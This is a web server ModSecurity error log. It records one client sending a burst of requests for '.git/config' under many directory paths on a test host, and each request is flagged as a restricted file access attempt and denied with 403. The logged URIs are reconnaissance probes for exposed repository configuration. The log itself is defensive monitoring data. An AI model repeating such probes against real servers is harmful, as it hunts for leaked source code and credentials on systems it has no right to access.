[Thu Jan 16 14:20:44.495988 2025] [:error] [pid 510616] [client 45.135.232.70:48658] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NAAAAAo&quot;]
[Thu Jan 16 14:20:44.500313 2025] [:error] [pid 510617] [client 45.135.232.70:48536] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /private/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/mail/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJgAAAAs&quot;]
[Thu Jan 16 14:20:44.500719 2025] [:error] [pid 510617] [client 45.135.232.70:48536] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/mail/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJgAAAAs&quot;]
[Thu Jan 16 14:20:44.501011 2025] [:error] [pid 510617] [client 45.135.232.70:48536] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/mail/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJgAAAAs&quot;]
[Thu Jan 16 14:20:44.503893 2025] [:error] [pid 510631] [client 45.135.232.70:48206] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVwAAAA4&quot;]
[Thu Jan 16 14:20:44.504231 2025] [:error] [pid 510631] [client 45.135.232.70:48206] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVwAAAA4&quot;]
[Thu Jan 16 14:20:44.504578 2025] [:error] [pid 510631] [client 45.135.232.70:48206] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVwAAAA4&quot;]
[Thu Jan 16 14:20:44.506462 2025] [:error] [pid 510637] [client 45.135.232.70:48122] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /aomanalyzer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcQAAAA8&quot;]
[Thu Jan 16 14:20:44.506769 2025] [:error] [pid 510637] [client 45.135.232.70:48122] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcQAAAA8&quot;]
[Thu Jan 16 14:20:44.507032 2025] [:error] [pid 510637] [client 45.135.232.70:48122] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcQAAAA8&quot;]
[Thu Jan 16 14:20:44.514329 2025] [:error] [pid 501744] [client 45.135.232.70:48594] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /communications/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/communications/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGAAAAAY&quot;]
[Thu Jan 16 14:20:44.514731 2025] [:error] [pid 510629] [client 45.135.232.70:48130] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0AAAAAw&quot;]
[Thu Jan 16 14:20:44.514866 2025] [:error] [pid 501744] [client 45.135.232.70:48594] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/communications/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGAAAAAY&quot;]
[Thu Jan 16 14:20:44.514936 2025] [:error] [pid 510629] [client 45.135.232.70:48130] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0AAAAAw&quot;]
[Thu Jan 16 14:20:44.515079 2025] [:error] [pid 510629] [client 45.135.232.70:48130] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0AAAAAw&quot;]
[Thu Jan 16 14:20:44.515351 2025] [:error] [pid 501744] [client 45.135.232.70:48594] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/communications/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGAAAAAY&quot;]
[Thu Jan 16 14:20:44.529372 2025] [:error] [pid 500653] [client 45.135.232.70:48192] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBgAAAAE&quot;]
[Thu Jan 16 14:20:44.529716 2025] [:error] [pid 500653] [client 45.135.232.70:48192] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBgAAAAE&quot;]
[Thu Jan 16 14:20:44.529995 2025] [:error] [pid 500653] [client 45.135.232.70:48192] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBgAAAAE&quot;]
[Thu Jan 16 14:20:44.589229 2025] [:error] [pid 510615] [client 45.135.232.70:48264] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sAAAAAk&quot;]
[Thu Jan 16 14:20:44.589812 2025] [:error] [pid 510615] [client 45.135.232.70:48264] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sAAAAAk&quot;]
[Thu Jan 16 14:20:44.590206 2025] [:error] [pid 510615] [client 45.135.232.70:48264] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sAAAAAk&quot;]
[Thu Jan 16 14:20:44.619704 2025] [:error] [pid 500655] [client 45.135.232.70:48694] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfgAAAAM&quot;]
[Thu Jan 16 14:20:44.620178 2025] [:error] [pid 510616] [client 45.135.232.70:48652] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NQAAAAo&quot;]
[Thu Jan 16 14:20:44.620571 2025] [:error] [pid 510616] [client 45.135.232.70:48652] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NQAAAAo&quot;]
[Thu Jan 16 14:20:44.620871 2025] [:error] [pid 510616] [client 45.135.232.70:48652] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NQAAAAo&quot;]
[Thu Jan 16 14:20:44.621563 2025] [:error] [pid 507252] [client 45.135.232.70:48818] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /connectors/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connectors/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrAAAAAc&quot;]
[Thu Jan 16 14:20:44.622004 2025] [:error] [pid 500655] [client 45.135.232.70:48694] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfgAAAAM&quot;]
[Thu Jan 16 14:20:44.622137 2025] [:error] [pid 507252] [client 45.135.232.70:48818] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connectors/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrAAAAAc&quot;]
[Thu Jan 16 14:20:44.622358 2025] [:error] [pid 500655] [client 45.135.232.70:48694] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfgAAAAM&quot;]
[Thu Jan 16 14:20:44.622594 2025] [:error] [pid 507252] [client 45.135.232.70:48818] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connectors/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrAAAAAc&quot;]
[Thu Jan 16 14:20:44.632700 2025] [:error] [pid 510617] [client 45.135.232.70:48142] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJwAAAAs&quot;]
[Thu Jan 16 14:20:44.633139 2025] [:error] [pid 510617] [client 45.135.232.70:48142] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJwAAAAs&quot;]
